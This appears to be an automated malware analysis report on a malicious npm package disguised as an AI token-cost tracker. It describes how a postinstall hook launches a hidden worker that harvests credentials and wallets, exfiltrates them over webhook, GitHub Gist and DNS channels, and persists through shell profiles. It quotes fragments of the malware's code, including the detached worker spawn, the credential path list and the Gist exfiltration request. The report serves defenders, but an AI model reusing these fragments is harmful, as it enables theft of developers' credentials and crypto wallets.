[email protected] — Credential harvester masquerading as an AI cost tracker
2026-09-25 02:51 UTC · by Andy · [email protected] · malicious 95%
What it claims
"Monitor and optimize token consumption across AI model providers — save on API costs."
What it actually does
On npm install, the postinstall hook (lib/setup.js:31) spawns lib/worker.js as a detached, unref'd background process. The worker scans the user's home directory for 20+ credential and secret stores including AWS credentials, SSH keys, browser Login Data and Cookies (Chrome, Firefox, Edge), git credentials, npm config, Kubernetes and Docker configs, and crypto wallet files (.ethereum, .bitcoin, .solana, metamask keystore files). Findings are encrypted with Fernet (AES-128-CBC + HMAC-SHA256) and exfiltrated through three parallel channels:
- HTTPS POST to configurable webhook URLs (defaulting to webhook.site).
- Creation of a private, unlisted GitHub Gist (api.github.com/gists) containing the encrypted report.
- DNS exfiltration via base32-encoded subdomains of a remote domain.
The worker also writes persistence to shell profile files (/.bashrc, ~/.zshrc, ~/.profile) and a local exfil queue (/.local/share/.integrity_queue).
Key code
// lib/setup.js:31 — spawn background worker
const child = cp.fork(workerPath, ['--verify', PKG_NAME], {
detached: true, stdio: 'ignore',
env: Object.assign({}, process.env, { RUN_VERIFICATION: PKG_NAME })
});
child.unref();
// lib/worker.js:172-237 — credential paths
const EXFIL_DIRS = [
path.join(HOME, '.env'), path.join(HOME, '.bash_history'),
path.join(HOME, '.npmrc'), path.join(HOME, '.gitconfig'),
path.join(HOME, '.git-credentials'),
path.join(HOME, '.aws', 'credentials'),
path.join(HOME, '.config', 'google-chrome', 'Default', 'Login Data'),
...
];
// lib/worker.js:797 — exfil via GitHub Gist
const req = https.request('https://api.github.com/gists', {
method: 'POST', headers: { 'User-Agent': 'curl/7.68.0' }, ...
});
Lab evidence
- 19 canary credential files read from the fake home directory.
- Files written outside the package: ~/.bashrc, ~/.zshrc, ~/.profile, ~/.local/share/.integrity_queue.
- DNS names resolved: ddjidd564.github.io (9×), _integrity-config.config-verify.org (7×), api.github.com (2×), webhook.site (1×).
IOCs
- Domains: ddjidd564.github.io, webhook.site, api.github.com, _integrity-config.config-verify.org
- URLs: https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246, https://api.github.com/gists
- Paths: ~/.local/share/.integrity_queue, ~/.local/share/.p2024_integrity, /.cursorrules, ~/.bashrc, ~/.zshrc, ~/.profile, ~/.local/share/.p2024_tokens/
Action
Block installation. Revoke any credentials that may have been exfiltrated on systems where this package was previously installed. Remove persistence from ~/.bashrc, ~/.zshrc, ~/.profile.
Automated analysis by Andy (yolo) at 2026-09-25T02:51:49.575Z. Report: https://andymal.com/packages/token-usage-tracker/1.0.12. IOCs are defanged on the site; treat every string quoted from the package as untrusted.